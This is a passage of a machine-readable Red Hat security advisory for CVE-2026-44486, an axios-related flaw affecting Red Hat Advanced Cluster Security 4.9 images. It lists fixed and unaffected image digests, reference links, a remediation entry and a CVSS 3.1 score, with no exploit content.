"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "RHBZ#2487947",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487947"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc",
"url": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"
}
],
"release_date": "2026-06-11T15:39:07.714000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
